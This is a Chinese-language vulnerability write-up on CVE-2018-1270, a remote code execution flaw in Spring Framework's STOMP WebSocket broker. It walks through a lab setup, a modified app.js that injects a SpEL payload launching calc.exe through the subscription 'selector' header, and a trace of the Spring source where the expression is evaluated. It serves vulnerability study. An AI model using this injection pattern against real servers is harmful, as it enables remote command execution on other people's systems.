作者:chybeta
來源:先知安全社區
漏洞公告
2018年4月5日漏洞公布: https://pivotal.io/security/cve-2018-1270

漏洞影響版本:
- Spring Framework 5.0 to 5.0.4
- Spring Framework 4.3 to 4.3.14
- Older unsupported versions are also affected
環境搭建
利用官方示例 https://github.com/spring-guides/gs-messaging-stomp-websocket ,git clone后checkout到未更新版本:
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
用IDEA打開gs-messaging-stomp-websocket目錄下的complete項目,修改app.js中的第15行:
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
增加了一個header頭部,其中指定了selector,其值即payload。
漏洞利用
點擊connect后建立起連接,在文本框中隨意輸入,點擊Send,觸發poc:

漏洞分析
當在 http://localhost:8080/ 中點擊Connect后,在app.js中,有如下代碼,會建立起Websocket連接:
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
...
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
其中header中指定了selector,根據 Stomp Protocol Specification, Version 1.0,通過指定對應的selecttor,可以對訂閱的信息進行過濾:
Stomp brokers may support the selector header which allows you to specify an SQL 92 selector on the message headers which acts as a filter for content based routing.
You can also specify an id header which can then later on be used to UNSUBSCRIBE from the specific subscription as you may end up with overlapping subscriptions using selectors with the same destination. If an id header is supplied then Stomp brokers should append a subscription header to any MESSAGE commands which are sent to the client so that the client knows which subscription the message relates to. If using Wildcards and selectors this can help clients figure out what subscription caused the message to be created.
在 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java 第140行,對這個header參數進行了接受和處理:
protected void addSubscriptionInternal(
String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null;
MessageHeaders headers = message.getHeaders();
String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
if (selector != null) {
try {
expression = this.expressionParser.parseExpression(selector);
this.selectorHeaderInUse = true;
if (logger.isTraceEnabled()) {
logger.trace("Subscription selector: [" + selector + "]");
}
}
catch (Throwable ex) {
if (logger.isDebugEnabled()) {
logger.debug("Failed to parse selector: " + selector, ex);
}
}
}
this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}

如圖所示,此次連接對應的sessionId為mrzfa005,subsId為sub-0。
之后,在 http://localhost:8080/ 中輸入任意字符串,點擊send。spring進行了一系列處理后,開始向消息的訂閱者分發消息,在 org/springframework/messaging/simp/broker/SimpleBrokerMessageHandler.java:349 行:
protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
...
其中message保存了此次連接/會話的相關信息:

跟入 this.subscriptionRegistry.findSubscriptions 至 org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java:111 行:
public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
....
return findSubscriptionsInternal(destination, message);
}
message作為參數被傳入 findSubscriptionsInternal ,在return處繼續跟進至 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java:184行
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
return filterSubscriptions(result, message);
}
其中result變量值如下:

該變量即 org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java:201行的filterSubscriptions方法的allMatches變量,跟進至兩層for循環
for (String sessionId : allMatches.keySet()) {
for (String subId : allMatches.get(sessionId)) {
SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
if (info == null) {
continue;
}
Subscription sub = info.getSubscription(subId);
if (sub == null) {
continue;
}
...
}
}
通過兩次getSubscriptions操作,此時取出了先前的配置信息,sub變量值如下:

接下去第 207 行將selector表達式取出:
Expression expression = sub.getSelectorExpression();
第217行:
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
}
通過調用了expression.getValue(context, Boolean.class),觸發payload,執行了spel表達式,遠程命令執行成功。

資料
- spring-guides/gs-messaging-stomp-websocket
- spring-framework-reference: websocket-stomp
- springmvc(18)使用WebSocket 和 STOMP 實現消息功能
- CaledoniaProject/CVE-2018-1270
- 0c0c0f師傅微博
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/562/
暫無評論